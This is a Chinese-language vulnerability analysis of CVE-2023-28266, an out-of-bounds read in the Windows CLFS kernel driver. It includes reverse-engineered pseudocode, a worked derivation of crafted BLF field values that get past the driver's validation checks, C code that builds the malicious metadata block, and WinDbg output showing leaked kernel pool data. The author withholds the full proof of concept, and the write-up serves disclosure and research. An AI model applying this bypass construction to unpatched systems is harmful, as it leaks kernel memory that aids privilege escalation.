这篇文章的目的是介绍今年4月发布的CLFS信息泄露漏洞CVE-2023-28266分析.
文章结合了逆向代码和调试结果分析了CVE-2023-28266漏洞利用过程和漏洞成因.
CVE-2023-28266是笔者今年1月提交的一个关于CLFS文件系统驱动程序的信息泄露漏洞,漏洞公告发布于今年4月.信息泄露类型的漏洞属于间接利用类型并不能直接导致权限提升的结果,以普通用户触发漏洞可以实现内核态内存的越界读取,最终将泄露的数据写入CLFS容器文件(BLF格式)中,并在控制台输出中提供展示泄露的数据内容.
关于CLFS模块的基础知识读者可以查看相关引用节中的文章获取里面有详细介绍,请读者自行研究,本文只讨论CVE-2023-28266的相关利用细节.
CVE-2023-28266与其他CLFS漏洞中的符号表相关的关联数据关系不大,只存在于一个截断日志相关的过程调用中,下面我们来具体分析一下.
漏洞存在于一个名为的CClfsLogFcbPhysical::TruncateLogModifyStreams函数中,触发该函数需要增加一个Truncate Record的元数据块(Metadata Block),大小0x2800在最后一个元数据块后.从字面量分析来看这个元数据块的作用应该是用来截断clfs文件指定扇区数据到容器文件的作用.从逆向分析来看我们得到了一个结构体_CLFS_SECTOR_CHANGE用于表示需要截断的扇区的数据结构,截断数据存在于rgbSector字段大小为一个默认扇区大小也就是0x200.具体逆向结果如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
|
typedef struct __declspec(align(
2
)) _CLFS_SECTOR_CHANGE
{
ULONG iSector;
ULONG ulUnused;
BYTE rgbSector[
0x200
];
}CLFS_SECTOR_CHANGE,
*
PCLFS_SECTOR_CHANGE;
typedef struct __declspec(align(
8
)) _CLFS_TRUNCATE_CLIENT_CHANGE
{
CLFS_CLIENT_ID cidClient;
CLFS_LSN lsn;
CLFS_LSN lsnClient;
CLFS_LSN lsnRestart;
USHORT cLength;
USHORT cOldLength;
ULONG cSectors;
CLFS_SECTOR_CHANGE rgSectors[
0xb
];
}CLFS_TRUNCATE_CLIENT_CHANGE,
*
PCLFS_TRUNCATE_CLIENT_CHANGE;
__int64 __fastcall CClfsLogFcbPhysical::TruncateLogModifyStreams(CClfsLogFcbPhysical
*
this, _CLFS_LOG_BLOCK_HEADER
*
loghdr, struct _CLFS_TRUNCATE_CONTEXT
*
trunctx, struct _CLFS_TRUNCATE_RECORD_HEADER
*
trunhdr)
{
/
/
vulnerability code
struct _CLFS_LOG_BLOCK_HEADER
*
hdr
=
ExAllocatePoolWithTag(PagedPool, (unsigned __int64)chg
-
>cLength <<
9
,
'sflC'
);
(_CLFS_TRUNCATE_RECORD_HEADER
*
) crdhdr
=
(&that
-
>field_rgBlocks_30[
4
].pbImage
-
>MajorVersion
+
crawlast
-
>RecordOffsets[
0
]);
CLFS_TRUNCATE_CLIENT_CHANGE
*
chg
=
(char
*
)crdhdr
+
crdhdr
-
>coffClientChange_8);
while
(
1
)
{
nowlsn
=
idx;
if
( idx >
=
chg
-
>cLength )
break
;
trunctx
=
(struct _CLFS_TRUNCATE_CONTEXT
*
)(
0x208i64
*
idx);
if
( idx !
=
*
(ULONG
*
)((char
*
)&chg
-
>rgSectors[
0
].iSector
+
(_QWORD)trunctx) )
goto error;
loghdr
=
&hdr[idx];
rgbSector
=
(CLFS_SECTOR_CHANGE
*
)((char
*
)chg
-
>rgSectors
+
(_QWORD)trunctx
+
8
);
val4
=
4i64
;
do
{
*
(_OWORD
*
)&loghdr
-
>MajorVersion
=
*
(_OWORD
*
)&rgbSector
-
>iSector;
*
(_OWORD
*
)&loghdr
-
>Flags
=
*
(_OWORD
*
)&rgbSector
-
>rgbSector[
8
];
*
(_OWORD
*
)&loghdr
-
>NextLsn.offset.idxRecord
=
*
(_OWORD
*
)&rgbSector
-
>rgbSector[
24
];
*
(_OWORD
*
)&loghdr
-
>RecordOffsets[
2
]
=
*
(_OWORD
*
)&rgbSector
-
>rgbSector[
40
];
*
(_OWORD
*
)&loghdr
-
>RecordOffsets[
6
]
=
*
(_OWORD
*
)&rgbSector
-
>rgbSector[
56
];
*
(_OWORD
*
)&loghdr
-
>RecordOffsets[
10
]
=
*
(_OWORD
*
)&rgbSector
-
>rgbSector[
72
];
*
(_OWORD
*
)&loghdr
-
>RecordOffsets[
14
]
=
*
(_OWORD
*
)&rgbSector
-
>rgbSector[
88
];
loghdr
=
(_CLFS_LOG_BLOCK_HEADER
*
)((char
*
)loghdr
+
0x80
);
*
(_OWORD
*
)&loghdr[
-
1
].glag[
384
]
=
*
(_OWORD
*
)&rgbSector
-
>rgbSector[
0x68
];
rgbSector
=
(_CLFS_SECTOR_CHANGE
*
)((char
*
)rgbSector
+
0x80
);
-
-
val4;
}
while
( val4 );
+
+
idx;
}
/
/
泄露的数据最终会通过CClfsLogFcbPhysical::WriteOneRawSectorSync写入容器文件
Hresult hr
=
CClfsLogFcbPhysical::WriteOneRawSectorSync(that, &v44, &v42, &hdr[lsnidx].MajorVersion, &chg
-
>lsn,
1
, v5);
}
|
触发截断日志扇区功能函数需首先要设置控制元数据块(Control Record)PCLFS_CONTROL_RECORD->cxTruncate.eTruncateState = ClfsTruncateStateModifyingStream,在进入这个函数前存在一个_CLFS_TRUNCATE_CLIENT_CHANGE结构体用于表示需要截断扇区个数chg->cLength,CLFS会根据这个指定的个数分配非分页缓冲区大小chg->cLength<<9也就是chg->cLength*0x200用于存放将要截断的扇区数据,从当前元数据块加上coffClientChange偏移量得到拷贝的基址写入缓冲区中,这里并没有对实际的Truncate Record的元数块据中指定扇区数据数量进行校验,导致可以越界读取到最后一个扇区的下一个扇区数据到缓冲区中,也就是说泄露下个内核池中的0x200大小的数据.一般情况下非分页池相邻的数据块都是有数据的,所以越界读取并不会导致BSOD.所有缓冲区的数据最后都会在CClfsLogFcbPhysical::WriteOneRawSectorSync写入CLFS容器文件,所以读取泄露数据对于调用者来说是可行的.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
|
typedef struct _CLFS_TRUNCATE_RECORD_HEADER
{
CLFS_METADATA_RECORD_HEADER hdrBaseRecord;
ULONG coffClientChange;
ULONG coffOwnerPage;
} CLFS_TRUNCATE_RECORD_HEADER,
*
PCLFS_TRUNCATE_RECORD_HEADER;
__int64 __fastcall CClfsBaseFilePersisted::AcquireTruncateContext(CClfsBaseFilePersisted
*
this, unsigned
int
*
val1, struct _CLFS_TRUNCATE_CONTEXT
*
*
trunctxret, _CLFS_TRUNCATE_RECORD_HEADER
*
*
offset, unsigned
int
*
deleta)
{
hr
=
CClfsBaseFile::AcquireMetadataBlock(this,
4i64
, (__int64)v14, v15);
hr
=
RtlULongSub(
this
-
>field_rgBlocks_30[
4
].pbImage
-
>SignaturesOffset,
this
-
>field_rgBlocks_30[
4
].pbImage
-
>RecordOffsets[
0
],
deleta);
*
offset
=
(_CLFS_TRUNCATE_RECORD_HEADER
*
)(&this
-
>field_rgBlocks_30[
4
].pbImage
-
>MajorVersion
+
crawlast
-
>RecordOffsets[
0
]);
ctrlrcdref
=
ctrlrcd;
/
/
判断eTruncateState是不是ClfsTruncateStateModifyingStream,然后进入CClfsLogFcbPhysical::TruncateLogModifyStreams
*
trunctxret
=
&ctrlrcd
-
>cxTruncate;
}
/
/
offset
=
CClfsBaseFilePersisted::AcquireTruncateContext参数deleta
unsigned __int8 __fastcall CClfsLogFcbPhysical::IsTruncatedRecordOffsetValid(CClfsLogFcbPhysical
*
this, _CLFS_TRUNCATE_RECORD_HEADER
*
trunhdr, unsigned
int
offset)
{
unsigned
int
offOwnerPage;
/
/
ecx
unsigned
int
offClientChange;
/
/
edx
bool
chk1;
/
/
cf
bool
chk2;
/
/
zf
offOwnerPage
=
trunhdr
-
>coffOwnerPage_c;
if
( offOwnerPage <
0x10
)
return
0
;
offClientChange
=
trunhdr
-
>coffClientChange_8;
if
( offClientChange <
0x10
|| offOwnerPage > offset
|| offClientChange > offset
|| offClientChange
=
=
offOwnerPage
|| offset
-
offOwnerPage <
0x1000
|| offset
-
offClientChange <
0x230
)
{
return
0
;
}
chk1
=
offOwnerPage < offClientChange;
chk2
=
offOwnerPage
=
=
offClientChange;
if
( offOwnerPage < offClientChange )
{
if
( offClientChange
-
offOwnerPage <
0x1000
)
return
0
;
chk1
=
offOwnerPage < offClientChange;
chk2
=
offOwnerPage
=
=
offClientChange;
}
if
( chk1 || chk2 || offOwnerPage
-
offClientChange >
=
0x230
)
return
1
;
return
0
;
}
__int64 __fastcall CClfsLogFcbPhysical::ValidateTruncateRecord(CClfsLogFcbPhysical
*
this, struct _CLFS_TRUNCATE_RECORD_HEADER
*
hdr)
{
__int64 offClientChange;
/
/
rax
unsigned __int64 offOwnerPage;
/
/
r9
CLFS_TRUNCATE_CLIENT_CHANGE
*
chg;
/
/
r8
__int64 chg_cLength;
/
/
rax
__int64 result;
/
/
rax
offClientChange
=
hdr
-
>coffClientChange_8;
if
( offClientChange &
7
|| (offOwnerPage
=
hdr
-
>coffOwnerPage_c, offOwnerPage &
7
)
|| (chg
=
(CLFS_TRUNCATE_CLIENT_CHANGE
*
)((char
*
)hdr
+
offClientChange),
chg_cLength
=
*
(unsigned __int16
*
)((char
*
)&hdr[
2
]
+
offClientChange).cLength,
chg
-
>cSectors !
=
(_DWORD)chg_cLength)
|| chg
-
>cOldLength < (unsigned __int16)chg_cLength
|| chg
-
>rgSectors[
0
].iSector
||
0x208
*
chg_cLength > offOwnerPage
|| chg
-
>cidClient >
=
0x7Cu
)
{
result
=
3222929421i64
;
}
else
{
result
=
0i64
;
}
return
result;
}
__int64 __fastcall ClfsDecodeBlockPrivate(_CLFS_LOG_BLOCK_HEADER
*
a1, unsigned
int
SectorCount, char sig, unsigned __int8 a4, unsigned
int
*
a5)
{
if
( (
int
)ULongAdd(SignaturesOffset,
2
*
SectorCount, &plus) <
0
|| (v11 &
7
) !
=
0
|| plus > blocksize )
return
0xC01A000Ai64
;
}
|
漏洞触发的整个调用过程首先根据Client符号表的cidClient获取TruncateContext上下文,所在元数据块大小0x2800,其实在这个函数之后确实存在对当前元数据块的CClfsLogFcbPhysical::IsTruncatedRecordOffsetValid进行第一步校验,判断CLFS_TRUNCATE_CONTEXT->eTruncateState是不是ClfsTruncateStateModifyingStream,然后进入CClfsLogFcbPhysical::TruncateLogModifyStreams对TruncateContext进行第二步校验,在CClfsLogFcbPhysical::ValidateTruncateRecord函数中.这里笔者总结出了一个绕过方式方法如下:逆向代码显示IsTruncatedRecordOffsetValid的参数offset来自与元数据块的SignaturesOffset+RecordOffsets[0]=27d0值,可以理解为这个值接近于整个元数据库块的结尾,因为一般情况下Signature会从最后一个扇区直到写入位于每个扇区的结尾,第一步校验经过排除法计算得出chk1 = offOwnerPage < offClientChange;
和 chk2 = offOwnerPage == offClientChange这2个都不能让它成立,参数offset位于整个元数据块长度减去0x30字节处,为了让offset - offOwnerPage < 0x1000且offset - offClientChange < 0x230不成立,只能让offOwnerPage - offClientChange >= 0x230成立,得出结论offset减去offOwnerPage和offClientChange都只能大于0x1000,而且它们的差值需要大于0x230,那么offClientChange就必须小于offset-1000-230值,采用0x1750- 0x238=1518可以是个合适的值.在第二步校验中0x208 * chg_cLength > offOwnerPage所以offOwnerPage必须大于0x2089=1248采用0x1750也符合要求;为什么采用TruncateContext元数据块大小0x2800原因是offClientChange=1518,0x2800-1518-70=1278,转换成扇区个数1278/208=9正好是9个,通过加减8个字节的微调让这些符号的边界都和扇区对齐,让最后一个PCLFS_SECTOR_CHANGE扇区的边界(90x208=1248)正好落在整个TruncateContext元数据块的结尾,1248+70+1518+sizeof(CLFS_TRUNCATE_CLIENT_CHANGE)=27f8(约等于2800).而越界读取没有对PCLFS_TRUNCATE_CLIENT_CHANGE->cLength进行校验导致读取数据越过了元数据块的边界,这里SignaturesOffset需要被clfs写入签名值,所以必须让他落在拷贝扇区数据的内存区域要不然会污染符号表的数据,在ClfsDecodeBlockPrivate中对这个值和CLFS_LOG_BLOCK_HEADER->TotalSectorCount组合也有校验需要绕过,笔者用的合适的SignaturesOffset值是元数据块大小TruncateContextlength-0x30.完整的绕过方法构造合适的值如下.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
int
TruncateContextlength
=
0x2800
;
hd
-
>SignaturesOffset
=
TruncateContextlength
-
0x30
;
ULONGLONG trunc_record_ptr
=
(ULONGLONG)hd
+
hd
-
>RecordOffsets[
0
];
PCLFS_TRUNCATE_RECORD_HEADER trunhdr
=
(PCLFS_TRUNCATE_RECORD_HEADER)trunc_record_ptr;
/
/
size
=
10
ULONG idx
=
0xa
;
trunhdr
-
>coffOwnerPage
=
0x1750
;
/
/
0x1750
-
0x238
=
1518
+
70
=
1588
trunhdr
-
>coffClientChange
=
0x1750
-
0x238
;
PCLFS_TRUNCATE_CLIENT_CHANGE trunchg
=
(PCLFS_TRUNCATE_CLIENT_CHANGE)(trunc_record_ptr
+
trunhdr
-
>coffClientChange);
trunchg
-
>cSectors
=
idx;
trunchg
-
>cLength
=
idx;
trunchg
-
>cOldLength
=
0x20
;
trunchg
-
>cidClient
=
0
;
/
/
1588
+
28
+
*
(
208
*
9
)
for
(
int
i
=
0
; i < idx; i
+
+
)
{
trunchg
-
>rgSectors[i].iSector
=
i;
}
PCLFS_LOG_BLOCK_HEADER hdr
=
(PCLFS_LOG_BLOCK_HEADER)(&trunchg
-
>rgSectors[
0
].rgbSector[
0
]);
memcpy(hdr, hd,
0x200
);
hdr
-
>TotalSectorCount
=
idx;
hdr
-
>ValidSectorCount
=
idx;
hdr
-
>Flags
=
0
;
hdr
-
>SignaturesOffset
=
(idx <<
9
)
-
0x20
;
*
(USHORT
*
)((ULONGLONG)hd
+
0x200
-
2
)
=
0x0150
;
for
(
int
i
=
0x400
; i < TruncateContextlength; i
+
=
0x200
)
{
*
(USHORT
*
)((ULONGLONG)hd
+
i
-
2
)
=
0x0110
;
}
*
(USHORT
*
)((ULONGLONG)hd
+
TruncateContextlength
-
2
)
=
0x0130
;
return
(BYTE
*
)trunchg;
|
下面我们来看调试过程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
|
8
: kd> bp CLFS!CClfsLogFcbPhysical::TruncateLogModifyStreams
+
0x127
".if(rax==9){.echo found}.else{gc}"
breakpoint
0
hit
2
: kd> r
rax
=
0000000000000009
rbx
=
0000000000000000
rcx
=
0000000000000009
rdx
=
ffff8b03d81ac200 rsi
=
ffff8b03d449d588 rdi
=
ffffa286d513e000
rip
=
fffff8076b76d74f rsp
=
fffff90c5c4c6f40 rbp
=
fffff90c5c4c7720
r8
=
0000000000000000
r9
=
0000000000000080
r10
=
0000000000001001
r11
=
ffffa286d00d0000 r12
=
0000000000000000
r13
=
0000000000000200
r14
=
ffff8b03d81ab000 r15
=
ffffa286d5a7c960
iopl
=
0
nv up ei ng nz ac po cy
cs
=
0010
ss
=
0018
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00040297
CLFS!CClfsLogFcbPhysical::TruncateLogModifyStreams
+
0x127
:
fffff807`
6b76d74f
4c69c008020000
imul r8,rax,
208h
2
: kd> !pool ffff8b03d449d588
Pool page ffff8b03d449d588 region
is
Paged pool
ffff8b03d449c000 doesn't look like a valid small pool allocation, checking to see
if
the entire page
is
actually part of a large page allocation...
*
ffff8b03d449c000 : large page allocation, tag
is
Clfs, size
is
0x2800
bytes
Pooltag Clfs : CLFS General
buffer
,
or
owner page lookaside
list
, Binary : clfs.sys
2
: kd> r
8
: kd> bp CLFS!CClfsLogFcbPhysical::TruncateLogModifyStreams
+
0x14e
/
/
末尾 CLFS_SECTOR_CHANGE 在位置
27f8
+
8
=
2800
rax 寄存器位于下个pool;
Breakpoint
1
hit
2
: kd> r
rax
=
ffff8b03d449e800 rbx
=
0000000000000000
rcx
=
0000000000000009
rdx
=
ffff8b03d81ac200 rsi
=
ffff8b03d449d588 rdi
=
ffffa286d513e000
rip
=
fffff8076b76d776 rsp
=
fffff90c5c4c6f40 rbp
=
fffff90c5c4c7720
r8
=
0000000000000004
r9
=
0000000000000080
r10
=
0000000000001001
r11
=
ffffa286d00d0000 r12
=
0000000000000000
r13
=
0000000000000200
r14
=
ffff8b03d81ab000 r15
=
ffffa286d5a7c960
iopl
=
0
nv up ei ng nz ac po nc
cs
=
0010
ss
=
0018
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00040296
CLFS!CClfsLogFcbPhysical::TruncateLogModifyStreams
+
0x14e
:
fffff807`
6b76d776
0f1000
movups xmm0,xmmword ptr [rax] ds:
002b
:ffff8b03`d449e800
=
ffff8b030000018ba0cb3280f59f0e82
2
: kd> !pool ffff8b03d449e800
Pool page ffff8b03d449e800 region
is
Paged pool
ffff8b03d449e810 size:
7c0
previous size:
0
(Allocated) Toke
2
: kd> ?ffff8b03d449e800
-
ffff8b03d449c000
Evaluate expression:
10240
=
00000000
`
00002800
/
/
查看越界读取信息
2
: kd> db ffff8b03d449e800
ffff8b03`d449e800
82
0e
9f
f5
80
32
cb a0
-
8b
01
00
00
03
8b
ff ff .....
2.
.........
ffff8b03`d449e810
00
6f
7c
03
54
6f
6b
65
-
08
a7
0e
dc
03
8b
ff ff .o|.Toke........
ffff8b03`d449e820
00
10
00
00
5c
07
00
00
-
7c
00
00
00
00
00
00
00
....\...|.......
ffff8b03`d449e830 c0
38
85
6c
07
f8 ff ff
-
00
00
00
00
00
00
00
00
.
8.l
............
ffff8b03`d449e840
08
00
00
00
00
00
00
00
-
00
00
00
00
00
00
00
00
................
ffff8b03`d449e850
00
00
00
00
00
00
00
00
-
14
00
08
02
00
00
00
00
................
ffff8b03`d449e860 c0
38
85
6c
07
f8 ff ff
-
e9
1d
b4 da
03
8b
ff ff .
8.l
............
ffff8b03`d449e870
41
64
76
61
70
69
20
20
-
ab
5c
21
00
00
00
00
00
Advapi .\!.....
8
: kd> bp CLFS!CClfsLogFcbPhysical::TruncateLogModifyStreams
+
0x3d3
Breakpoint
2
hit
5
: kd> r
rax
=
fffff90c5c4c6fa8 rbx
=
0000000000000000
rcx
=
ffffa286d513e000
rdx
=
fffff90c5c4c6fb0 rsi
=
0000000000000000
rdi
=
ffffa286d513e000
rip
=
fffff8076b76d9fb rsp
=
fffff90c5c4c6f40 rbp
=
fffff90c5c4c7720
r8
=
fffff90c5c4c6fa0 r9
=
ffff8b03d81ab000 r10
=
ffff8b03d81ab000
r11
=
ffff8b03d81ac3f4 r12
=
000000000000000a
r13
=
0000000000000200
r14
=
ffff8b03d81ab000 r15
=
ffffa286d5a7c960
iopl
=
0
nv up ei ng nz na po nc
cs
=
0010
ss
=
0018
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00040286
CLFS!CClfsLogFcbPhysical::TruncateLogModifyStreams
+
0x3d3
:
fffff807`
6b76d9fb
e8ec1a0000 call CLFS!CClfsLogFcbPhysical::WriteOneRawSectorSync (fffff807`
6b76f4ec
)
/
/
r9是目标写入缓冲区,越界的偏移位置是
0x1200
,泄露信息一直.
5
: kd> db ffff8b03d81ab000
+
1200
ffff8b03`d81ac200
82
0e
9f
f5
80
32
cb a0
-
8b
01
00
00
03
8b
ff ff .....
2.
.........
ffff8b03`d81ac210
00
6f
7c
03
54
6f
6b
65
-
08
a7
0e
dc
03
8b
ff ff .o|.Toke........
ffff8b03`d81ac220
00
10
00
00
5c
07
00
00
-
7c
00
00
00
00
00
00
00
....\...|.......
ffff8b03`d81ac230 c0
38
85
6c
07
f8 ff ff
-
00
00
00
00
00
00
00
00
.
8.l
............
ffff8b03`d81ac240
08
00
00
00
00
00
00
00
-
00
00
00
00
00
00
00
00
................
ffff8b03`d81ac250
00
00
00
00
00
00
00
00
-
14
00
08
02
00
00
00
00
................
ffff8b03`d81ac260 c0
38
85
6c
07
f8 ff ff
-
e9
1d
b4 da
03
8b
ff ff .
8.l
............
ffff8b03`d81ac270
41
64
76
61
70
69
20
20
-
ab
5c
21
00
00
00
00
00
Advapi .\!.....
/
/
栈回溯
2
: kd> kv
# Child-SP RetAddr : Args to Child : Call Site
00
ffff9e0f`
95883f80
fffff801`
382cd0c3
: ffffde86`
1f9a8000
00000000
`
0000000a
ffffaf87`
0ca1c0d8
ffffaf87`
0ca1c001
: CLFS!CClfsLogFcbPhysical::TruncateLogModifyStreams
+
0x14e
01
ffff9e0f`
95884050
fffff801`
382aa1ba
:
00000000
`
00000000
ffffde86`
21c44820
ffffde86`
1f9a8000
ffffde86`
1f9a8000
: CLFS!CClfsLogFcbPhysical::TruncateLog
+
0x8b
02
ffff9e0f`
958840a0
fffff801`
382722a9
: ffffde86`
1f9a8000
ffffde86`
21c44820
00000000
`
00002760
ffffaf87`
0ca1c0d8
: CLFS!CClfsLogFcbPhysical::RecoverTruncateLog
+
0xae
03
ffff9e0f`
95884100
fffff801`
382a0d13
: ffffde86`
1f9a8000
ffffde86`
1f9a8038
ffffde86`
1bef8a40
ffffde86`
0012019f
: CLFS!CClfsLogFcbPhysical::Initialize
+
0x80d
04
ffff9e0f`
95884240
fffff801`
382a276b
: ffffde86`
1f978c70
00000000
`
00000001
00000000
`
00000007
fffff801`
382a0000
: CLFS!CClfsRequest::Create
+
0x4ef
05
ffff9e0f`
95884390
fffff801`
382a2537
: ffffde86`
1f978c70
ffff9e0f`
95884588
ffffde86`
18dcbd60
00000000
`
0012019f
: CLFS!CClfsRequest::Dispatch
+
0x97
06
ffff9e0f`
958843e0
fffff801`
382a2487
: ffffde86`
1f976b30
ffffde86`
1f976b30
ffffde86`
21c46668
00000000
`
000000c0
: CLFS!ClfsDispatchIoRequest
+
0x87
07
ffff9e0f`
95884430
fffff801`
3a22a715
: ffffde86`
18dcbd60
00000000
`
6d4e6f49
ffffde86`
1f0c3010
00000000
`
00000000
: CLFS!CClfsDriver::LogIoDispatch
+
0x27
08
ffff9e0f`
95884460
fffff801`
3a22bd14
:
00000000
`
00000003
ffffde86`
1f976b30
00000000
`
6d4e6f49
fffff801`
3a22b943
: nt!IofCallDriver
+
0x55
09
ffff9e0f`
958844a0
fffff801`
3a61acdd
: ffff9e0f`
95884760
ffffde86`
18dcbd60
ffffde86`
21c46668
ffffde86`
00000000
: nt!IoCallDriverWithTracing
+
0x34
0a
ffff9e0f`
958844f0
fffff801`
3a602c0e
: ffffde86`
18dcbd60
00000000
`
000000bd
ffffde86`
1bef8a20
ffffde86`
1bef8a01
: nt!IopParseDevice
+
0x117d
0b
ffff9e0f`
95884660
fffff801`
3a62d96a
: ffffde86`
1bef8a00
ffff9e0f`
958848c8
00007ffa
`
00000040
ffffde86`
17ee0e80
: nt!ObpLookupObjectName
+
0x3fe
0c
ffff9e0f`
95884830
fffff801`
3a677b9f
:
00000000
`
00000000
000000c7
`
748ff890
00000000
`
00000000
00000000
`
00000001
: nt!ObOpenObjectByNameEx
+
0x1fa
0d
ffff9e0f`
95884960
fffff801`
3a677779
:
000000c7
`
748ff810
ffff9e0f`
95884b80
000000c7
`
748ff890
000000c7
`
748ff880
: nt!IopCreateFile
+
0x40f
0e
ffff9e0f`
95884a00
fffff801`
3a40caf5
:
00000000
`
00000000
00000000
`
00000000
00000000
`
00000000
00000000
`
08f0d180
: nt!NtCreateFile
+
0x79
0f
ffff9e0f`
95884a90
00007ffa
`
1efedb64
:
00007ffa
`
17a820a5
00000000
`
00000000
00000000
`
00000000
00000000
`
00008004
: nt!KiSystemServiceCopyEnd
+
0x25
(TrapFrame @ ffff9e0f`
95884b00
)
10
000000c7
`
748ff798
00007ffa
`
17a820a5
:
00000000
`
00000000
00000000
`
00000000
00000000
`
00008004
00000000
`
00000003
: ntdll!NtCreateFile
+
0x14
11
000000c7
`
748ff7a0
00000000
`
00000000
:
00000000
`
00000000
00000000
`
00008004
00000000
`
00000003
00000000
`
00000000
:
0x00007ffa
`
17a820a5
|
设置第一个断点bp CLFS!CClfsLogFcbPhysical::TruncateLogModifyStreams+0x127 ".if(rax==9){.echo found}.else{gc}";
当迭代到拷贝第9个扇区数据时候,可以看到rsi指向当前TruncateContext指向元数据块内存区域,大小2800也就是拷贝的起始地址,再次下第二个断点bp CLFS!CClfsLogFcbPhysical::TruncateLogModifyStreams+0x14e发现rax=ffffde86f13e4800减去TruncateContext基址正好是0x2800,说明这次拷贝的起始地址已经到了当前pool的末尾,也就是说会越界拷贝一个扇区0x200大小的数据内容.
下第三个断点bp CLFS!CClfsLogFcbPhysical::TruncateLogModifyStreams+0x3d3,调用CLFS!CClfsLogFcbPhysical::WriteOneRawSectorSync函数r9指向要写入容器文件的全部缓冲区地址正好是9*0x200=0x1200;查看db ffff8b03d81ab000+1200数据内容得出的结论是与上一步越界读取rax指向的泄露信息内容是相同的.
接下来调用者就可以通过读取容器通过CLFS_TRUNCATE_CLIENT_CHANGE->lsn获取容器的符号表中对应容器默认第0个是CLFSCON01文件,在偏移量1200数据内容展示泄露信息,读取方法与读取普通文件相同,这里不再赘述.至此完成整个漏洞的利用过程.
出于安全原因笔者不能提供完整的poc代码,下图是笔者在打了1月补丁的Windows1021h2虚拟机上成功复现了CVE-2023-28266
作者来自ZheJiang Guoli Security Technology,邮箱
更多【CLFS信息泄露漏洞CVE-2023-28266分析】相关视频教程:www.yxfzedu.com